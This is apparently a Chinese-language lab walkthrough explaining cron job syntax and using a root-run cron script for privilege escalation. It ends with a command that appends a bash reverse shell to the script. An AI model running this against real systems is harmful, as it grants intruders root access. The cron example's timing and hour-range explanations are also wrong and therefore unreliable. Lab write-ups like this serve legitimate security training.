参考:
https://redpomelo.xyz/archives/1699953656909
前言
提权为该靶机的精髓,Cronjob通常以root特权运行。如果我们可以成功篡改cronjob中
定义的任何脚本或二进制文件,那么我们可以以root特权执行任意
代码。
什么是Cronjob?
Cron Jobs被用于通过在服务器上的特定日期和时间执行命令来安排任务。它们最常用于
sysadmin任务,如备份或清理/tmp/目录等。Cron这个词来自crontab,它存在于/etc目
录中。例如:在crontab内部,我们可以添加以下条目,以每1小时自动打印一次apache错误日
志
1 0 * * * printf “” > /var/log/apache/error_log
- 前五个数字值表示执行cronjob的时间。现在让我们了解五个数字值。
- 分钟–第一个值表示介于0到59之间的分钟范围,而
*
表示任何分钟。 - 小时–第二个值表示小时范围在0到24之间,
*
表示任何小时。 - 月中的某天–第三个值表示月中的某日,范围是1到31,
*
表示任何一天。 - 月–第四个值表示1到12之间的月份范围,
*
表示任何月份。 - 星期几–第五个值表示从星期天开始的星期几,介于0到6之间,
*
表示星期几。
提权
我们看一下/etc/crontab这个文件
cat /etc/crontab
有个任务是以root权限执行的,直接在里面写shell,静待1到五分钟
echo "/bin/bash -i >& /dev/tcp/192.168.xx.xxx/4444 0>&1" >> /etc/script/CleaningScript.sh
成功拿到root权限,至此,此靶机结束